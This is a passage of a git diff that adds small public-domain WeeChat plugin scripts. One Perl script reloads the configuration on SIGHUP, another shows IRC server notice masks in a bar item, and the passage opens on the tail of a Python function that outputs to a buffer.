+	if len(cmd) > 0:
+		output = cmd + output
+	if input_method == "keybinding":
+		w.buffer_set(buffer, "input", output.encode("UTF-8"))
+	else:
+		w.command(buffer, output.encode("UTF-8"))
+	return w.WEECHAT_RC_OK
diff --git a/weechat-scripts/sighup.pl b/weechat-scripts/sighup.pl
new file mode 100644
index 0000000..4647ada
--- /dev/null
+++ b/weechat-scripts/sighup.pl
@@ -0,0 +1,22 @@
+use strict;
+use warnings;
+
+no strict 'subs';
+
+my $SCRIPT_NAME = 'sighup';
+my $SCRIPT_AUTHOR = 'The Krusty Krab <wowaname@volatile.ch>';
+my $SCRIPT_VERSION = '1.0';
+my $SCRIPT_LICENCE = 'Public domain';
+my $SCRIPT_DESC = 'Reload config on SIGHUP';
+
+if (weechat::register($SCRIPT_NAME, $SCRIPT_AUTHOR, $SCRIPT_VERSION,
+ $SCRIPT_LICENCE, $SCRIPT_DESC, '', '')) {
+	weechat::hook_signal('signal_sighup', 'cb_sighup', '');
+}
+
+sub cb_sighup {
+	weechat::command('', '/reload');
+
+	return weechat::WEECHAT_RC_OK_EAT;
+}
+
diff --git a/weechat-scripts/snomasks.pl b/weechat-scripts/snomasks.pl
new file mode 100644
index 0000000..b3e3445
--- /dev/null
+++ b/weechat-scripts/snomasks.pl
@@ -0,0 +1,58 @@
+# Released into the Public Domain
+
+# Note: After loading the script and adding snomasks into one of your bars, you
+# must request /umode once on each server you have server notices masks set on.
+# After that, the script will automatically update the bar item.
+
+use strict;
+use warnings;
+
+no strict 'subs';
+
+my $SCRIPT_NAME = 'snomasks';
+my $SCRIPT_AUTHOR = 'The Krusty Krab <wowaname@volatile.ch>';
+my $SCRIPT_VERSION = '1.1';
+my $SCRIPT_LICENCE = 'Public domain';
+my $SCRIPT_DESC = 'Server notice mask bar item for opers';
+
+if (weechat::register($SCRIPT_NAME, $SCRIPT_AUTHOR, $SCRIPT_VERSION,
+ $SCRIPT_LICENCE, $SCRIPT_DESC, '', '')) {
+	weechat::bar_item_new('snomasks', 'bar_snomasks', '');
+	weechat::hook_signal('buffer_switch', 'buffer_switch', '');
+	weechat::hook_signal('irc_server_disconnected', 'irc_disconnected', '');
+	weechat::hook_signal('*,irc_raw_in_008', 'irc_008', '');
+}
+
+my %snomask;
+
+sub bar_snomasks {
+	my $buffer = weechat::current_buffer();
+
+	return ''
+		if weechat::buffer_get_string($buffer, 'localvar_plugin') ne 'irc';
+
+	my $server = weechat::buffer_get_string($buffer, 'localvar_server');
+	return $snomask{$server} // '';
+}
+
+sub buffer_switch {
+	weechat::bar_item_update('snomasks');
+	return weechat::WEECHAT_RC_OK;
+}
+
+sub irc_008 {
+	my (undef, $server, $modes) = (shift,
+		shift =~ /^(.+),irc_raw_in_008$/,
+		shift =~ /:[^ ]* 008 [^ ]* (?::Server notice mask \()?([^ )]*)/);
+	$server = lc $server;
+
+	$snomask{$server} = $modes;
+	weechat::bar_item_update('snomasks');
+	return weechat::WEECHAT_RC_OK;
+}
+
+sub irc_disconnected {
+	my $server = pop;
+	delete $snomask{lc $server};
+	return weechat::WEECHAT_RC_OK;
+}
